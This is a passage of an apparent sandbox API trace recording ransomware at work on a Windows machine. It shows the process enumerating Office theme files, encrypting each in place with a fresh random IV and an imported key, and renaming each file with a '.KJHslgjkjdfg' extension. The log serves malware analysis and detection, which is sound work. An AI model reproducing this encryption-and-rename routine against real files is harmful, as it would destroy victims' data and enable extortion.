lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0188.965] CloseHandle (hObject=0x12c) returned 1 [0188.966] GetProcessHeap () returned 0x2ef0000 [0188.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0188.966] GetProcessHeap () returned 0x2ef0000 [0188.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0188.966] GetProcessHeap () returned 0x2ef0000 [0188.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0188.966] GetProcessHeap () returned 0x2ef0000 [0188.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.966] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0188.966] GetProcessHeap () returned 0x2ef0000 [0188.966] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0188.966] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0188.966] GetProcessHeap () returned 0x2ef0000 [0188.966] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0188.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0188.967] GetProcessHeap () returned 0x2ef0000 [0188.967] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0188.967] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0188.967] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0188.967] GetProcessHeap () returned 0x2ef0000 [0188.967] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f10788 [0188.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.967] GetProcessHeap () returned 0x2ef0000 [0188.967] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.967] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.967] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.967] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0188.970] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.970] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.970] GetProcessHeap () returned 0x2ef0000 [0188.970] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.970] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0188.970] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.970] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0188.970] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.970] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.971] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.971] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.971] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.971] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.971] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.971] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.971] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9df, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x9df, lpOverlapped=0x0) returned 1 [0188.971] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9e0) returned 1 [0188.972] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.972] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x9e0, lpOverlapped=0x0) returned 1 [0188.972] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.972] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.972] SetEndOfFile (hFile=0x12c) returned 1 [0188.976] GetProcessHeap () returned 0x2ef0000 [0188.976] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.976] GetProcessHeap () returned 0x2ef0000 [0188.976] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.kjhslgjkjdfg")) returned 1 [0188.977] CloseHandle (hObject=0x12c) returned 1 [0188.977] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0188.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.979] GetProcessHeap () returned 0x2ef0000 [0188.979] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.979] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.979] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.979] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0188.981] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.981] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.981] GetProcessHeap () returned 0x2ef0000 [0188.981] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.981] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.981] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.981] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.982] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.982] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.982] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.982] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.982] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.982] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.982] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.982] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.982] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10af1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x10af1, lpOverlapped=0x0) returned 1 [0188.985] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x10b00, dwBufLen=0x10b00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x10b00) returned 1 [0188.986] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.986] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10b00, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x10b00, lpOverlapped=0x0) returned 1 [0188.987] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.987] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.987] SetEndOfFile (hFile=0x12c) returned 1 [0188.990] GetProcessHeap () returned 0x2ef0000 [0188.990] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.990] GetProcessHeap () returned 0x2ef0000 [0188.990] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.kjhslgjkjdfg")) returned 1 [0188.993] CloseHandle (hObject=0x12c) returned 1 [0188.993] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0188.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.994] GetProcessHeap () returned 0x2ef0000 [0188.994] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.994] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.994] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.994] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0188.996] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.996] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.996] GetProcessHeap () returned 0x2ef0000 [0188.996] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.996] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.996] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.996] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.997] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.997] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.997] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.997] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.997] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.997] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.997] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.997] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.997] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d2, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1d2, lpOverlapped=0x0) returned 1 [0188.997] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1e0) returned 1 [0188.997] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.997] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1e0, lpOverlapped=0x0) returned 1 [0188.997] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.998] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.998] SetEndOfFile (hFile=0x12c) returned 1 [0189.000] GetProcessHeap () returned 0x2ef0000 [0189.000] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0189.000] GetProcessHeap () returned 0x2ef0000 [0189.000] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.kjhslgjkjdfg")) returned 1 [0189.007] CloseHandle (hObject=0x12c) returned 1 [0189.007] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0189.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.008] GetProcessHeap () returned 0x2ef0000 [0189.008] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.008] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.008] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.008] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0189.011] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.011] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.011] GetProcessHeap () returned 0x2ef0000 [0189.011] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.011] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.011] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.011] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.012] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.012] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.012] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.012] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 